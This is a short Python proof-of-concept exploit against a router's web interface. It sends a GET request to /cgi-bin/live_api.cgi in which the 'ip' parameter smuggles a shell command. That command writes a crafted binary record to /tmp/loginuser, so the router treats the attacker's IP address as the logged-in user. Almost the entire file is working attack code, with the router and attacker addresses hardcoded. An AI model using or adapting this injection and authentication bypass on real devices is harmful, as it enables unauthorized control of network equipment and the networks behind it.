#!/usr/bin/python3

import requests, time, struct

# This payload authenticates an arbitrary IP address
# as the "logged-in" user.

def gen_payload(ip_addr):
    cur_time = int(time.time())

    # Create binary string
	# This adds neccessary escape characters for the terminal,
	# needed for the echo command
    binary = struct.pack("<II", 51812, cur_time)
    binstr = '\\' + '\\'.join(hex(c)[1:] for c in binary) + ip_addr + '\\x00This file has been hacked'
    return binstr

ROUTER_IP = "192.168.10.1"
HACK_IP = "192.168.10.119"
ROUTER_PORT = "80"

hacked_str = gen_payload(HACK_IP)
INJECT_COMMAND = f"echo -ne '{hacked_str}' > /tmp/loginuser"
ROUTER_URI = f"/cgi-bin/live_api.cgi?page=hacked&id=1337&ip=;{INJECT_COMMAND};"

print("[+] Using command line injection vulnerability")
requests.get(f"http://{ROUTER_IP}:{ROUTER_PORT}{ROUTER_URI}")
